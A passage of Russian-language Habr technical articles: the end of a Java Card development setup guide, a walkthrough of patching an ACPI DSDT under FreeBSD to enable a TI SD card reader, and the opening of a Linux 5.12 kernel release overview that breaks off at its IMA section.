Для разработок я долгое время использовал обычный [Eclipse IDE for Java Developers](https://eclipse.org/downloads/packages/eclipse-ide-java-developers/keplersr2), который я немного довел до ума путем встраивания нужных утилит из SDK. Итак, качаем последнюю версию Eclipse IDE for Java Developers с сайта Eclipse.
Скачанный архив просто распакуйте куда-нибудь (не в Program Files желательно) на жесткий диск. Я обычно помещаю его в корень диска в папку eclipse-java. Здесь и далее нежелательно использовать в именах папок русские буквы и пробелы.
Далее нам понадобится [Java SDK](http://www.oracle.com/technetwork/java/javase/downloads/index.html) любой версии. Называется он обычно JavaSE (Java Standard Edition SDK), JDK. Поскольку Oracle купила Sun, ссылка может поменяться, но Google вам поможет, если это случиться. Пока что скачать можно отсюда. Он снабжен инсталлятором, поэтому просто установите его как обычно.
И еще нам понадобится [Java Card Development Kit](http://www.oracle.com/technetwork/java/embedded/javacard/downloads/javacard-sdk-2043229.html) 2.2.1. Я его тоже обычно помещаю в корень жесткого диска.
Теперь нужно немного настроить систему. Нажмите Windows + Break вместе на клавиатуре или просто откройте свойства Моего Компьютера. Перейдите на вкладку Дополнительно и нажмите кнопку Переменные среды. В системные переменные нужно добавить следующие:
**JC\_HOME=C:\java\_card\_kit-2\_2\_1** — путь, куда вы распаковали Java Card Development Kit
**JAVA\_HOME=c:\j2sdk1.4.1** — путь, куда установился Java SDK. Если он установился в Program Files, лучше использовать короткий 8.3 путь «C:\Progra~1\...».
А теперь нужно добавить в конец переменной PATH значение **";%JC\_HOME%\bin;%JAVA\_HOME%\bin;"**. Причем переменные %..% лучше раскрыть и указать в PATH пути полностью.
Проверить корректность установки можно запустив файл **build\_samples.bat**, находящийся в папке с Java Card SDK (подкаталог samples). Правда, если вы используете Java Developer Kit отличный от 1.3 или 1.4, придется его немного подкорректировать. Откройте файл build\_samples.bat и добавьте в строку **«set JCFLAGS»** параметры **"-target 1.2 -source 1.2"** (без кавычек, конечно). Это необходимо, поскольку конвертер файлов для карточек ожидает, что файлы скомпилированы совместимым компилятором).
После запуска и корректной отработки build\_samples, в папке **%JC\_HOME%\samples\classes\com\sun\javacard\samples\HelloWorld\javacard\** должны появиться файлы **HelloWorld.cap, HelloWorld.exp, HelloWorld.jca**. Файл **HelloWorld.cap** готов к немедленной заливке в карту.
#### 2. Настраиваем Eclipse
Запустите Eclipse. При первом запуске вас спросят о желаемом расположении рабочей области. Я обычно оставляю расположение по умолчанию.
Создайте новый Java-проект. File -> New -> Project -> Java -> Java Project. Назовите его как-нибудь. Можете разместить вне рабочей области, если вам так удобно. Остальные настройки можно оставить как есть. Нажмите Next. Перейдите на вкладку Libraries и удалите оттуда все то, что там есть. Нажмите кнопку Add External JAR и выберите файл **%JC\_HOME%\lib\api.jar** (%JC\_HOME% = внутри Java Card SDK, который вы распаковали). Нажмите Finish.
Слева появится окно Package Explorer. Щелкните правой кнопкой на папке src и выберите New -> Package. Мы должны создать пакет, в который будет входить наш тестовый апплет. Назовите его как вам нравится. Например, testpackage. Щелкните правой кнопкой по иконке пакета в Package Explorer. Выберите New -> Class. В качестве суперкласса (класса, от которого будет унаследован класс нашего апплета) нужно выбрать «javacard.framework.Applet». Отметьте создание всех заглушек, которые предлагает Eclipse, кроме main() (Constructors from superclass, Inherited abstract methods). Введите имя класса апплета. Например, TestApplet. Нажмите Finish.
Как видите, Eclipse сгенерировал заглушку апплета, которую в следующих главах нам предстоит превратить в полнофункциональный апплет.
Теперь нам нужно немного облегчить себе жизнь, написав файлы для автоматизации процесса компиляции апплета и его конвертации в \*.cap файл. Для этого нам понадобится создать два файла. Один для компиляции и конвертации и апплета, а другой для загрузки в карту. Впрочем, если захотите, можете в один файл все объединить. Обратите внимание, что мы назвали пакет mytestapplet, а апплет MyTestApplet.
Итак, build.bat:
```
@echo off
set APPLET_HOME=C:\Work\JavaCard\MyTestApplet
set PACKAGE_NAME=mytestapplet
set APPLET_NAME=MyTestApplet
del /q %APPLET_HOME%\bin\%PACKAGE_NAME%\*.class
del /q %APPLET_HOME%\bin\%PACKAGE_NAME%\javacard\*.*
%JAVA_HOME%\bin\javac -g -d %APPLET_HOME%\bin -classpath %JC_HOME%\samples\classes\;%JC_HOME%\lib\api.jar;%JC_HOME%\lib\installer.jar -source 1.2 -target 1.2 %APPLET_HOME%\src\
%JC_HOME%\bin\converter -config %APPLET_HOME%\%APPLET_NAME%.opt
pause
```
Думаю, тут все понятно без комментариев. И образец MyTestApplet.opt файла, из которого читает информацию конвертер (предпоследняя строка \*.bat):
```
-out CAP JCA
-exportpath E:\java_card_kit-2_2_1\api_export_files;D:\java_card_kit-2_2_1\lib\api.jar
-classdir C:\Work\JavaCard\MyTestApplet\bin\
-d C:\Work\JavaCard\MyTestApplet\bin\
-verbose
-applet 0xa0:0x46:0x52:0x41:0x43:0x54:0x41:0x4c:0x0:0x1 mytestapplet.MyTestApplet
mytestapplet
0xa0:0x46:0x52:0x41:0x43:0x54:0x41:0x4c:0x0 1.0
```
Обратите внимание на -applet директиву (она указывает AID апплета) и на последнюю строку (AID и версия пакета). \*.cap файл после наших манипуляций должен оказаться в папке C:\Work\JavaCard\MyTestApplet\bin\.
Добавить данный файл в меню Eclipse можно через Run -> External Tools -> External Tools Configurations. Думаю, там все достаточно тривиально и не потребует объяснений.
#### 3. IntelliJ (JetBrains) IDEA
Должен сказать, что я фанат [IDEA](https://www.jetbrains.com/idea/). IDEA — это для меня идеал идеальной среды идеальной разработки (простите за повторы, расчувствовался). Поэтому, какое-то время спустя я ушел с Eclipse, пересел на IDEA, а bat файлы трансформировал в простые задания Ant. Получившимся я вполне доволен.
Очень рекомендую вам сделать тоже самое. Хотя, конечно, на вкус и цвет…
#### 4. Благодарность терпеливым читателям
Спасибо всем, кто дочитал до этого места. Благодарности и негодования принимаются.
Буду рад любым вопросам в комментариях и постараюсь обновлять статью так, чтобы она включала ответы. | https://habr.com/ru/post/255533/ | null | ru | null |
# Настройка оборудования на раннем этапе загрузки средствами ACPI (на примере FreeBSD)
Несколько лет назад, когда CardBus и FireWire (IEEE 1394) еще были относительно «в ходу», многие производители ноутбуков в своей продукции использовали контроллеры семейства PCIXX21 и PCIXX11 фирмы Texas Instruments: один небольшой чип обеспечивал поддержку не только упомянутых интерфейсов, но и многих популярных стандартов сменных карт памяти.
Такой чип (а именно, PCI7411) стоит и в моей NEC Versa S950. Этот малоизвестный ноутбук я в свое время предпочел даже ThinkPad-серии практически исключительно из-за *более лучшей* поддержки FreeBSD (оборудования в целом и спящего режима в частности) — специально тестировал в новосибирском Техносити перед покупкой. Долгое время я не пользовался встроенным кард-ридером, по привычке обходясь USB'шными «свистками». Но недавно я обнаружил, что FreeBSD до сих пор его не поддерживает. И если лет пять-шесть назад это можно было объяснить отсутствием нормального драйвера для этих контроллеров (нужно было [что-то скачивать](http://www.sashi.de/en/freebsd/sdhci/index.html) и собирать самому), то теперь я точно знал, что они «из коробки» поддерживаются во FreeBSD драйвером `sdhci(4)`, о чем прямо сказано на странице руководства (и позже подтвердилось чтением исходников).
Я начал неспешно гуглить на эту тему, и картина стала вырисовываться невеселая. Оказалось, что таких «счастливчиков», как я, немало. Многие постили в рассылки и форумы «портянки» `dmesg` и `pciconf -lv`, заводили баги в трекерах (например, OpenBSD PR i386/5843), но решения никто не предлагал. Более того, фактически поставив точку в вопросе, Александр Мотин, автор драйвера `sdhci(4)`, в 2010 г. [написал](http://forums.freebsd.org/showpost.php?p=67884&postcount=4) на форуме, что-де TI документацию на чип не дают, а значит, если производитель сконфигурировал чип неверно, а его настройка через BIOS не предусмотрена, сделать что-либо затруднительно. В свою очередь, Theo de Raadt закрыл i386/5843 со словами: *«We do what we can. This vendor, amongst other, have their sdhc controllers locked out and hidden behind little undocumented bits. We've strugged before to find this information, and failed. If you can find this information on some other operating system, or in some vendor documentation, we would be thrilled.»*
В отчаянии я загрузился с Ubuntu LiveCD. И очень удивился тому, что в Linux кард-ридер работает. Значит…
Плохо гуглил
------------
Оказывается, еще в 2006 г. Алекс Дубов написал Linux-драйвер для TI FlashMedia ридеров. Я скачал [исходники](http://svn.berlios.de/svnroot/repos/tifmxx/trunk/driver/) и принялся их изучать, надеясь впоследствии доработать `sdhci(4)` или даже спортировать драйвер целиком. В первую очередь я посмотрел список поддерживаемых PCI vendor/device ids, чтобы сравнить с «нашим» драйвером. Он оказался небольшим:
```
$ cat linux/pci_ids.h
#define PCI_VENDOR_ID_TI 0x104c
#define PCI_DEVICE_ID_TI_XX21_XX11_FM 0x8033
#define PCI_DEVICE_ID_TI_XX12_FM 0x803b
#define PCI_DEVICE_ID_TI_XX20_FM 0xac8f
```
Число 0x8033 мне уже знакомо по выводу `pciconf -lv` на моем ноуте (chip=**0x8033**104c):
```
none3@pci0:6:7:3: class=0x018000 card=0x83191033 chip=0x8033104c rev=0x00 hdr=0x00
vendor = 'Texas Instruments (TI)'
device = 'PCIxx11/21 Integrated FlashMedia Controller'
class = mass storage
```
Это тот самый кард-ридер, который не работает во FreeBSD, но работает в Linux. А вот кусок кода из `sdhci.c` (FreeBSD):
```
static const struct sdhci_device {
uint32_t model;
uint16_t subvendor;
char *desc;
u_int quirks;
} sdhci_devices[] = {
{ 0x08221180, 0xffff, "RICOH R5C822 SD",
SDHCI_QUIRK_FORCE_DMA },
{ 0xe8221180, 0xffff, "RICOH SD",
SDHCI_QUIRK_FORCE_DMA },
{ 0xe8231180, 0xffff, "RICOH R5CE823 SD",
SDHCI_QUIRK_LOWER_FREQUENCY },
{ 0x8034104c, 0xffff, "TI XX21/XX11 SD",
SDHCI_QUIRK_FORCE_DMA },
```
Можно заметить, что идентификатор устройства TI XX21/XX11 SD (0x803**4**104c) похож на мой (0x803**3**104c) с точностью до одной цифры. Кроме того, я обратил внимание, что контроллеры CardBus (0x8031104c) и FireWire (0x8032104c) не просто имеют схожие id'шки, но и PCI-селекторы всех устройств отличаются только номером функции, а устройство у них у всех одно и то же:
```
none1@pci0:6:7:0: class=0x060700 card=0x83191033 chip=0x8031104c rev=0x00 hdr=0x02
vendor = 'Texas Instruments (TI)'
device = 'PCIxx21/x515 Cardbus Controller'
class = bridge
subclass = PCI-CardBus
none2@pci0:6:7:2: class=0x0c0010 card=0x83191033 chip=0x8032104c rev=0x00 hdr=0x00
vendor = 'Texas Instruments (TI)'
device = 'OHCI Compliant IEEE-1394 FireWire Controller'
class = serial bus
subclass = FireWire
```
Вспомнив слова Саши Мотина о том, что чип на самом деле реализует оба контроллера (SDHCI и FlashMedia), я стал искать более целенаправленно, и вскоре наткнулся на [еще один пост](http://forums.freebsd.org/showthread.php?t=31831), а затем на [сообщение](http://lists.freebsd.org/pipermail/freebsd-mobile/2009-August/011721.html) в рассылке freebsd-mobile@ о похожей (но немного другой) проблеме на HP NC6220. Рабочее решение нигде не предлагалось, но, в отличие от большинства дискуссий, которые сводились к дурацким советам типа «попробуйте последнюю версию драйвера» или банальным «сожалею, но, похоже, вы в пролете», теперь, по крайней мере, стало понятно, что конфигурация чипа как-то отображается в дампе PCI function (а значит, возможно, ее получится поменять), а главное, что таки-доступна документация: [PCIXXX21/PCIXXX11 Implementation Guide](http://www.webcon.ca/~imorgan/tifm21/scpu022a.pdf). И вот тут мне стало по-настоящему интересно.
Забегая вперед, скажу, что удивительнее всего то, что люди, раскопав практически datasheet на «капризный» чип, останавливались в шаге от решения проблемы. Я так и не нашел ни у кого рецепта, как правильно воспользоваться документацией (что и побудило меня написать этот пост). Но обо всем по порядку.
PCIXXX21/PCIXXX11 Implementation Guide — документ о 117 страницах для проектировщиков аппаратуры на базе этих контроллеров. Подробно его разбирать смысла не имеет; самое важное, что я из него почерпнул: контроллер действительно реализует пять функций: CardBus, 1394, FlashMedia, SD Host и SmartCard; начальная конфигурация обычно берется из EEPROM. Главный регистр конфигурации — General Control Register (раздел 12.4.28, с. 65) — находится по адресам 1Eh-1Fh в ROM (нас интересует только нулевой байт, т.к. именно там маскируются функции чипа) и соотвествует PCI offset 86h нулевой функции устройства. Теперь —
За дело
-------
Для начала посмотрим, что нам скажет утилита `pciconf(8)` про PCI configuration space «головной» (нулевой) функции чипа, т.е., в терминологии FreeBSD, селектора `pci0:6:7:0`. Ради краткости я не буду приводить дамп всех 256 байт, а ограничусь лишь интересующим нас, по смещению 86h:
```
# pciconf -rb pci0:6:7:0 0x86
d3
```
Интересно. Смотрим в табличку на 65-й странице pdf'ки, видим, что тройка в нижнем нибле (полубайте) равна типичному значению бит, отвечающих за top level arbitration, SmartCard socket power control и OHCI 1394, это нас мало интересует. А вот верхний нибл как раз маскирует (включает-выключает) логику остальных контроллеров (таблицу целиком не привожу опять же для экономии места):

0xD это 1101, т.е. установлены биты DISABLE\_SC, **DISABLE\_SD** и DISABLE\_SKTB, а бит **DISABLE\_FM** сброшен. Следовательно, чтобы «оживить» контроллер SD Host, нам, по логике, надо сбросить DISABLE\_SD (разрешить), а DISABLE\_FM, напротив, выставить (запретить). Маске 1011 соответсвует значение 0xB, т.е. по сути, нам надо поменять байт **0xD3** на **0xB3**. Проблема, однако, в том, что сделать это нужно сильно заранее, до того, как чип будет проинициализирован, вернее, до того, как он определит, какие контроллеры включать. После того, как система загрузилась, менять конфигурацию бесполезно: все устройства уже «в строю». И вот тут нам на помощь приходит
ACPI
----
Что такое ACPI и для чего оно нужно, я объяснять не стану: это выходит за рамки топика, к тому же, на Хабре уже был хороший [пост](http://habrahabr.ru/post/128449/) на эту тему. В данном случае нам важен вопрос: можно ли пропатчить DSDT до инициализации чипа так, чтобы он включил нужный контроллер (SD Host) и выключил ненужный, для которого у нас нет драйвера (FlashMedia).
Посмотрим, какие у нас есть средства отладки и вывода информации в рамках интерпретатора («виртуальной машины») ACPI. В [спецификации ACPI](http://www.acpi.info/spec.htm) (параграф 19.5.25, с. 733) упоминается специальный объект `Debug`, который операционная система должна «донести» до пользователя. Во FreeBSD за это отвечает системная переменная `debug.acpi.enable_debug_objects`, которую нужно выставить в единицу:
```
# sysctl debug.acpi.enable_debug_objects=1
debug.acpi.enable_debug_objects: 0 -> 1
```
Теперь мы можем писать произвольные строчки в `Debug`, а ядро FreeBSD будет выводить их на консоль. Осталось придумать, как заставить ACPI выдавать интересующую нас информацию по требованию. Для начала сдампим и дизассемблируем DSDT ноута, и поизучаем его:
```
# acpidump -dt > s950.asl
```
Я решил найти метод, который вызывается через какое-либо внешнее воздействие (или внутреннее, но периодическое, типа опроса батарейки), при этом практически не затрагивая работу «железа». Изучая код DSDT, я наткнулся на любопытный кусок:
```
Method (_Q0C, 0, NotSerialized)
{
If (\_SB.PCI0.PEGA)
{
\_SB.PCI0.PEGP.VGA.SWIH ()
}
Else
{
Store (0x01, TLST)
HKDS (0x0A)
}
}
```
Больше нигде метод `\_SB.PCI0.PEGP.VGA.SWIH` не вызывается, а его название намекает, что это некое переключение дисплея. На клавиатуре многих ноутбуков одна из функциональных клавиш в сочетании с Fn-модификатором переключает видео-вывод с внутреннего дисплея на внешний. На моей «версе» это F3. Попробуем модифицировать код метода следующим образом:
```
Method (_Q0C, 0, NotSerialized)
{
+ Store ("Fn-F3 pressed", Debug)
If (\_SB.PCI0.PEGA)
{
```
Пересоберем ASL:
```
# iasl s950-patched.asl
Intel ACPI Component Architecture
ASL Optimizing Compiler version 20101013-32
Copyright (c) 2000 - 2010 Intel Corporation
ASL Input: s950-patched.asl - 7749 lines, 280987 bytes, 2840 keywords
AML Output: /tmp/acpidump.aml - 24863 bytes, 640 named objects, 2200 executable opcodes
Compilation complete. 0 Errors, 0 Warnings, 0 Remarks, 958 Optimizations
# cp /tmp/acpidump.aml /root/s950-patched.aml
```
Чтобы FreeBSD использовала нашу таблицу при загрузке, добавим в `/boot/loader.conf` следующие строчки:
```
acpi_dsdt_load="YES"
acpi_dsdt_name="/root/s950-patched.aml"
```
Если все сделано правильно, и наш расчет оправдался, то при нажатии на Fn-F3 мы будем видеть на консоли сообщения ядра (повышенной яркости) о том, что клавиша Fn-F3 была нажата. Теперь, когда мы более-менее умеем взаимодействовать с ACPI, самое время попробовать
Достучаться до регистра 86h
---------------------------
Физические адресные пространства всевозможных устройств (оперативная память, порты ввода-вывода, платы расширения, CMOS, IPMI и пр.) отображаются в пространство имен ACPI в виде т.н. операционных регионов (OperationRegion), внутри которых обычно выделяются битовые поля (Field), состоящие из одного или нескольких поименованных «виртуальных регистров», или field units (параграф 19.5.96, с. 782 спецификации). OperationRegion для нашего контроллера может выглядеть, например, так:
```
OperationRegion (PCIC, PCI_Config, 0x00, 256)
Field (PCIC, AnyAcc, NoLock, Preserve)
{
Offset (0x86), // General Control Register по смещению 86h
TLA, 2, // Top level arbitration
SCSP, 1, // SmartCard socket power
OHCI, 1, // Disable OHCI 1394 controller function
SKTB, 1, // Disable CardBus socket B
FM, 1, // Disable FlashMedia function
SD, 1, // Disable SD host controller function
SC, 1, // Disable SmartCard function
}
```
Или даже проще, если в `OperationRegion` объявить не все 256 байт, а только интересующий нас, и не выделять отдельные биты в конфигурационном регистре:
```
OperationRegion (PCIC, PCI_Config, 0x86, 0x01)
Field (PCIC, AnyAcc, NoLock, Preserve)
{
GCR0, 8, // General Control Register (Byte 0)
}
```
Нетрудно заметить, что само по себе такое определение бесполезно: оно не привязано к какому-либо устройству, являясь по сути просто структурой из одного байта по известному смещению. Устройства в DSDT задаются через ключевое слово `Device` (параграф 19.5.30, с. 735); совокупность всех устройств представляет собой этакое дерево. Так, все PCI-устройства находятся чаще всего внутри пространства устройства `\_SB.PCI0`, которое соответствует корневой шине PCI (обычно такая шина одна, но теоретически их может быть до 256 в одном PCI-домене).
Для идентификации устройства на шине нужно задать его адрес в виде (device << 16) | function. В нашем случае (помните вывод `pciconf -lv`?) function = 0, device = 7, bus = 6. То есть устройство, видимо, должно выглядеть как-то так:
```
Device (XX11)
{
Name (_ADR, 0x00070000) // pci0:6:7:0
}
```
Хорошо, но откуда взялась шестая шина? И где она в DSDT? Посмотрим лог загрузки ядра (`dmesg`):
```
$ dmesg | grep pci6
pci6: on pcib4
pci6: at device 7.0 (no driver attached)
pci6: at device 7.2 (no driver attached)
pci6: at device 7.3 (no driver attached)
pci6: at device 8.0 (no driver attached)
$ dmesg | grep pcib4
pcib4: at device 30.0 on pci0
pci6: on pcib4
```
Получается, `pci6` — это дополнительная, «виртуальная» шина на мосту PCI-PCI. Номер 6 (как и 4 для моста) ей достался потому, что FreeBSD так распределила устройства. Внутри DSDT никаких шести шин и четырех мостов, конечно, нет. Мост — `Device (PCIB)` — там ровно один, как и ожидалось. Полностью наше описание должно выглядеть так (привожу краткий вариант, не раскладывая регистр на отдельные биты):
```
Scope (\_SB.PCI0.PCIB) {
Device (XX11)
{
Name (_ADR, 0x00070000) // pci0:6:7:0
OperationRegion (PCIC, PCI_Config, 0x86, 0x01)
Field (PCIC, AnyAcc, NoLock, Preserve) { GCR0, 8, }
}
}
```
Теперь мы можем заменить наш отладочный код в методе `_Q0C` на что-то более осмысленное:
```
Method (_Q0C, 0, NotSerialized)
{
+ Store (Concatenate("GCR0 = 0x", \_SB.PCI0.PCIB.XX11.GCR0), Debug)
If (\_SB.PCI0.PEGA)
{
```
Пересобираем ASL, перезагружаемся, жмем Fn-F3. Если мы все сделали верно, то должны увидеть то же самое значение, которое мы ранее читали через `pciconf(8)`:

*(Реализация функции для записи значения регистра напрямую в видеопамять оставляется читателю в качестве легкого упражнения.)*
Нам остается ответить на самый главный вопрос: получится ли изменить значение регистра и заставить чип сконфигурировать себя так, как нам нужно?
Стандарт ACPI определяет специальный метод для инициализации устройств, `_INI` (параграф 6.5.1, с. 349). Добавим в наше устройство следующий код:
```
Method (_INI)
{
Store (0xB3, GCR0)
/* Альтернативный вариант для побитовой конфигурации:
Store (0x01, FM)
Store (0x00, SD) */
}
```
Компилируем ASL, копируем получившийся файл AML в `/root/s950-patched.aml`, снова перезагружаемся. Смотрим на
Результат
---------

Прежде всего, обратим внимание, что контроллер 0x803**3**104c (FlashMedia) исчез из вывода `pciconf -lv`, зато появился 0x803**4**104c (SD Host). Загружаем нужные модули ядра, вставляем карточку и пробуем примонтировать ее:
```
# kldload sdhci mmc mmcsd
# ls /dev/mmcsd0*
/dev/mmcsd0 /dev/mmcsd0s1
# mount -t msdosfs /dev/mmcsd0s1 /mnt/tmp
# ls /mnt/tmp/DCIM/100CANON
IMG_0403.JPG IMG_0424.JPG IMG_0450.JPG IMG_0494.JPG IMG_0515.JPG
IMG_0406.JPG IMG_0425.JPG IMG_0451.JPG IMG_0498.JPG IMG_0517.JPG
IMG_0407.JPG IMG_0427.JPG IMG_0452.JPG IMG_0499.JPG IMG_0518.JPG
IMG_0409.JPG IMG_0429.JPG IMG_0453.JPG IMG_0500.JPG IMG_0520.JPG
IMG_0410.JPG IMG_0430.JPG IMG_0467.JPG IMG_0501.JPG IMG_0522.JPG
IMG_0412.JPG IMG_0439.JPG IMG_0473.JPG IMG_0506.JPG IMG_0525.JPG
IMG_0413.JPG IMG_0440.JPG IMG_0474.JPG IMG_0507.JPG IMG_0526.JPG
IMG_0414.JPG IMG_0445.JPG IMG_0475.JPG IMG_0508.JPG IMG_0534.JPG
IMG_0415.JPG IMG_0447.JPG IMG_0478.JPG IMG_0510.JPG IMG_0535.JPG
IMG_0421.JPG IMG_0448.JPG IMG_0492.JPG IMG_0512.JPG IMG_0537.JPG
IMG_0423.JPG IMG_0449.JPG IMG_0493.JPG IMG_0514.JPG IMG_0538.JPG
# tar cf /dev/null /mnt/tmp/DCIM/100CANON ; echo $?
tar: Removing leading '/' from member names
0
```
Вроде все работает, ну и славно. Можно убирать отладочный код из DSDT и ~~наслаждаться жизнью~~ пользоваться кард-ридером. | https://habr.com/ru/post/150887/ | null | ru | null |
# Релиз Linux 5.12, подробности для локалхоста
[](https://habr.com/ru/company/ruvds/blog/557474/)
В самом начале последней недели апреля увидела свет новая версия ядра Linux. Особенностью данного релиза стал сам факт того, что понадобился RC8. Помимо того в течении апреля произошла совершенно невероятная история с [исправлениями](https://bit.ly/2R7TADe) из Университета Миннесоты, о которых следует рассказать отдельно, когда немного осядет пыль и полностью будет восстановлен ущерб от преднамеренно неисправных патчей.
Патч размером 39 MiB содержит труд 1873 разработчиков, из них 262 новых. Усилиями сообщества добавлено 518307 и удалено 313155 строк кода. Больше всего отличились следующие компании:
* Intel;
* Linaro;
* Red Hat;
* Google;
* Huawei Technologies;
* Facebook;
* NVIDIA;
* AMD;
* SUSE;
Но на втором месте по числу исправлений не отдельная компания, а *Unknown*, что не может не радовать. Из списка активных контрибютеров выпала компания *Habana Labs*.
### ▍- Графика
Львиную долю кодовой базы ядра Linux занимают драйвера, поэтому совсем неудивительно, что им посвящена значительная часть изменений и обновлений релиза.
#### Intel VRR / Adaptive-Sync
Для чипов Intel Tiger Lake (Gen 12) и более новых добавлена поддержка Variable Rate Refresh (VRR) / Adaptive-Sync. Данная функциональность пока существует лишь для DisplayPort / eDP подключений. HDMI Forum закрыл доступ к спецификациям, и по этой причине ощутить преимущества адаптивной синхронизации смогут только обладатели eDP дисплеев с VRR функционалом.
#### Разгон GPU Radeon RX 6000
В реализации RDNA 2 (Sienna Cichlid) на ОС Linux одной из отсутствующих функций была поддержка OverDrive разгона для графических карт серии Radeon RX 6800/6900. Наконец в новой версии ядра эта возможность реализована в драйвере amdgpu. Разгон Sienna Cichlid выполняется с использованием тех же атрибутов sysfs, которые в настоящее время разгоняют AMD GPU OverDrive.
#### Пиксельный формат FP16 для DCE
Благодаря патчам независимого разработчика Марио Кляйнеру в ядре появилась поддержка пиксельного формата FP16 для старых поколений графических процессоров AMD Radeon. Исправления затрагивают Display and Compositing Engine с 8-й по 11-ю версию. Это позволяет снять ограничения на неспособность старых устройств масштабировать фреймбуфер формата FP16.
#### AC/DC для GPU Radeon и прочие обновления для amdgpu
Включение функции ACDC на мобильных графических процессорах Radeon, где сила тока и тактовый диапазон изменяются в зависимости от того, работает ли ноутбук в режиме питания переменного или постоянного тока. При включенном бите функции микропрограммное обеспечение берет на себя управление обработкой функции. Кроме того для APU Van Gogh и GPU Navy 22, a. k. a. Navy Flounder появилась возможность сброса GPU.
### ▍- Файловые системы
Ожидаемые обновления вызывающей противоречивые чувства btrfs, XFS, CIFS и других.
#### Начальная поддержка зонированных устройств в btrfs
Зонированные блочные устройства обладают непривычными свойствами, это сделано с умыслом и во имя более плотной записи данных. Эти устройства разделены на зоны, в которых не возможен произвольный доступ для операций записи. Запись в таких зонах осуществляется только последовательно, от первого блока и до последнего.

Единственный способ перезаписи данных в последовательной зоне — это сброс указателя записи в начало зоны, что приведет к немедленному удалению всего содержимого. С другой стороны, полностью поддерживается произвольный доступ для чтения. Для файловых систем это создает определенные проблемы, так как разработка драйверов ведется с учетом того, что блоки хранения могут быть записаны в произвольном порядке. До сих пор поддержка зонированных устройств практически отсутствовала в основных ФС, однако с релизом Linux 5.12 btrfs получил эту функциональность.
#### Перенос идентификаторов при монтировании
Добавлен новый системный вызов `mount_setattr(2)`, который дает возможность переносить идентификаторы прав с одного mount на другой для fat, ext4 и xfs. Перенос ID при монтировании файловой системы полезен для ряда серверных и DevOps сценариев. В частности ФС, в которых нет самой концепции владельца ресурса, как например vfat, могут использовать данную функциональность для реализации DAC (discretionary access control) проверок.
#### Режим ранней записи в NFS
Когда на NFS включен режим ранней записи, операции ввода будут немедленно отправляться на сервер. До этого кернел асинхронно отправлял их в фоновом режиме. В некоторых сценариях это дает преимущество, например, гарантирует, что клиент NFS немедленно увидит ошибки `ENOSPC`.
Опции `mount.tfs` дополнились новыми элементами:
* `writes=lazy` — текущий способ записи по умолчанию.
* `writes=eager` — нестабильные операции ввода немедленно отправляются на сервер.
* `writes=wait` — нестабильные операции ввода немедленно отправляются на сервер и затем ядро ожидает ответа на запрос.
#### XFS
Проведена активная работа по ускорению заморозки, когда выполняются только рабочие нагрузки для чтения, рефакторингу кода ведения журнала, более быстрому сканированию fsync и сборке мусора, а также продолжению работы над возможностью поддержки сжатия используемого дискового пространства.
#### F2FS
Добавлена поддержка выбора уровня сжатия для алгоритма LZ4, также реализована новая опция монтирования `checkpoint_merge`. Еще в sysfs появились новые элементы:
* `/sys/fs/f2fs//stat/sb\_status` для отображения статуса суперблока в режиме реальном времени в шестнадцатеричном формате;
* `/sys/fs/f2fs//ckpt\_thread\_ioprio` для изменения приоритета ввода-вывода службы совмещения контрольных точек.
#### CIFS
В настоящее время NFS и CIFS в Linux имеют параметр монтирования `actimeo` для управления кэшированием метаданных но в то же время CIFS не имеет сопутствующих параметров монтирования для того, чтобы различать атрибуты каталога кэширования и файлы. Теперь же в CIFS эти опции добавлены: `acregmax` для управления кэшированием файлов и `acdirmax` для управления кэшированием атрибутов каталогов.
### ▍- Сетевая подсистема
TCP/IP стек ядра Linux занимает особое место в общей картине, в виду существенной сложности архитектуры и огромным возможностям по использованию в самых разнообразных устройствах. Сетевая инфраструктура больше других обеспечивает доминирование Linux ОС на серверах и продолжает развиваться семимильными шагами.
* добавлены уведомления при изменении флагов маршрутизации на сетевом оборудовании;
* netfilter, реализована структура владения таблицами, позволяющая пользователям привязывать таблицу вместе с содержимым к процессу через сокет *netlink*;
* TCP, изменения связанные с рандомизацией портов в протоколах транспортного уровня (RFC-6056).
* в IGMPv3 появилась поддержка механизма Explicit Host Tracking.
* cfg80211/mac80211, у пользователей появилась возможность отключить режим HE, аналогично тому, как можно отключить VHT и HT.
* hsr, реализована поддержка `EntryForgetTime`, благодаря чему удалось устранить проблемы связи с Cisco IE в режиме Redbox;
* ipvs, новый алгоритм балансировки нагрузок, основанный на случайном выборе двух серверов, в зависимости от взвешенных оценок.
#### Опрос NAPI в потоках ядра
NAPI призвана повышать производительность при высоких нагрузках, опрашивая сетевое устройство вместо ожидания IRQ. Этот опрос, однако, выполняется в контексте softirq, где планировщик задач не может его видеть, и это затрудняет настройку системы для максимальной производительности.
Благодаря исправлениям Wei Wang-а, а также Paolo Abeni, Felix Fietkau, и Jakub Kicinski ядро может по выбору создать отдельный поток для каждого сетевого интерфейса с поддержкой NAPI. После этого опрос NAPI будет выполняться в контексте этого потока, а не в программном прерывании. Это пока еще не избавление от softirq, но шаг в нужном направлении. Новое свойство активируется из sysfs через параметр `/sys/class/net//threaded`.
#### Multipath TCP
MPTCP является набором расширений (RFC-6824) протокола TCP, с помощью которых данные для одного соединения передаются через разные сетевые интерфейсы по нескольким IP маршрутам одновременно. В новой версии появилась поддержка `MP_PRIO` для выставления приоритета определенным потоком нижнего уровня. Данный атрибут также определен в RFC-6824. Также улучшена возможность отображения IPv4 адресов в пространство IPv6.
#### Internet Protocol
Асинхронность установки маршрута в аппаратном обеспечении может привести к тому, что служба маршрутизации объявит маршрут до того, как он был фактически установлен в сетевом устройстве. Это может привести к потере пакетов или неправильной маршрутизации пакетов до тех пор, пока маршрут не будет фактически установлен в аппаратном обеспечении.
Ранее при сбое во время разгрузки маршрутов в пользовательское пространство не поступало никаких извещений и из-за этого демон маршрутизации мог бесконечно долго пребывать в состоянии ожидания. Новый патч добавляет статус `offload_failed` с помощью флага `RTM_F_OFFLOAD_FAILED` к маршрутам IPv4, чтобы пользователи могли лучше видеть процесс разгрузки.
### ▍- Безопасность
Сюда вошли исправления, связанные с Security Enhanced Linux, KFENCE, Trusted Protection Module и Integrity Management architecture.
#### KFENCE
Kernel Electric-Fence, или KFENCE, представляет из себя новое средство обнаружения ошибок безопасности памяти на основе выборки, отличительной особенностью которого является незначительная потеря производительности. KFENCE предназначен для ядер на промышленных системах и имеет практически нулевые накладные расходы на производительность. Новый детектор способен отловить такие ошибки использования памяти, как выход за пределы буфера и обращения после освобождения памяти.
Основная причина появления на свет KFENCE в способности обнаружить редкие сценарии с ошибками в коде, которые обычно не присутствуют в тестовых средах.
#### IMA
